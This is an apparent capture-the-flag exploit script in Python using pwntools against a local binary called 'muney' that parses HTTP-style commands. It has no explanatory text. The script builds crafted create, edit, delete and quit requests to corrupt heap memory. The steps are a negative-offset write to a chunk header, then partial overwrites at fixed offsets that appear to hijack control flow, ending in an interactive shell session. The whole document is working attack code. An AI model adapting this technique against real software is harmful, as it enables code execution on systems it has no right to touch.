from
pwn
import
*
context.log_level
=
'debug'
r
=
process(
'./muney'
)
elf
=
ELF(
'./muney'
)
libc
=
elf.libc
def
add(size,cont):
payload
=
'POST /create HTTP/1.0 \nSize:'
+
str
(size)
+
"\n"
+
'Content-Length:'
+
str
(
len
(cont))
+
'\n\r\n'
+
cont
r.sendafter(
"HTTP_Parser> "
,payload)
def
delete(idx):
payload
=
'POST /delete HTTP/1.0 \nIdx:'
+
str
(idx)
+
"\n"
+
"Content-Length:16"
+
'\n\r\n'
+
'a'
*
16
r.sendafter(
"HTTP_Parser> "
,payload)
def
edit(idx,offset,cont):
payload
=
b
'POST /edit HTTP/1.0 \nIdx:'
+
str
(idx).encode()
+
b
'\n'
+
b
'Offset:'
+
str
(offset).encode()
+
b
'\n'
+
b
"Content-Length:"
+
str
(
len
(cont)).encode()
+
b
'\n\r\n'
+
cont
r.sendafter(
"HTTP_Parser> "
,payload)
def
quit(cont):
payload
=
'POST /quit HTTP/1.0 \n'
+
'Content-Length:'
+
str
(
len
(cont))
+
'\n\r\n'
+
cont
r.sendafter(
"HTTP_Parser> "
,payload)
add(
0x150000
,
'a'
*
16
)
edit(
0
,
-
8
,b
'\x02\x10\x17'
)
delete(
0
)
add(
0x171002
,
'a'
*
16
)
edit(
0
,
0x152b78
,p64(
0xaaa101010210130e
))
edit(
0
,
0x152ca0
,p8(
0x86
))
edit(
0
,
0x153d6c
,p64(
0x7c967e3e7c93f2a0
))
edit(
0
,
0x156d18
-
0x8
,b
"\x90\x22\x05"
)
edit(
0
,
0x156d18
-
0x10
,b
"\xbd\xa1\x1a"
)
edit(
0
,
0x156d18
-
0x10
+
4
,b
"\x12"
)
edit(
0
,
0x156d18
-
0x10
+
6
,b
"\xf0"
)
gdb.attach(r)
quit(
'a'
*
16
)
r.interactive()